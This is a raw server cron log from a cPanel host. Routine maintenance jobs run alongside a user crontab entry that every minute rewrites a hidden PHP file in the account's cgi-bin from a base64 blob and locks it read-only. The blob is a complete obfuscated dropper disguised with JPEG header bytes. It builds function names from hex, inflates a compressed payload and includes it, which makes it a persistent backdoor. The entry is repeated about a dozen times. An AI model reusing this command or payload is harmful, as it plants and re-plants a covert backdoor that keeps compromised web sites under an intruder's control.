Aug 31 02:27:01 server CROND[27431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:28:01 server CROND[27795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:28:01 server CROND[27797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:28:01 server CROND[27799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:29:01 server CROND[28178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:29:01 server CROND[28179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:29:01 server CROND[28180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:30:01 server CROND[28550]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 02:30:01 server CROND[28553]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:30:01 server CROND[28556]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 02:30:01 server CROND[28560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:30:01 server CROND[28558]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:30:01 server CROND[28557]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:30:01 server CROND[28563]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 02:30:01 server CROND[28559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:31:01 server CROND[29458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:31:01 server CROND[29459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:31:01 server CROND[29460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:32:01 server CROND[29880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:32:01 server CROND[29881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:32:01 server CROND[29882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:33:01 server CROND[30241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:33:01 server CROND[30242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:33:01 server CROND[30243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:34:01 server CROND[30616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:34:01 server CROND[30617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:34:01 server CROND[30618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:35:01 server CROND[30998]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 02:35:01 server CROND[31003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:35:01 server CROND[31006]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 02:35:01 server CROND[31004]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:35:01 server CROND[31002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:35:01 server CROND[31001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:35:01 server CROND[31007]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 02:35:01 server CROND[31005]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 02:35:01 server CROND[31008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:36:01 server CROND[31822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:36:01 server CROND[31823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:36:01 server CROND[31824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:37:01 server CROND[32298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:37:01 server CROND[32300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:37:01 server CROND[32299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:38:01 server CROND[32588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:38:01 server CROND[32589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:38:01 server CROND[32590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:39:01 server CROND[32728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:39:01 server CROND[32730]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 02:39:01 server CROND[32729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:39:01 server CROND[32731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:40:01 server CROND[496]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:40:01 server CROND[497]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
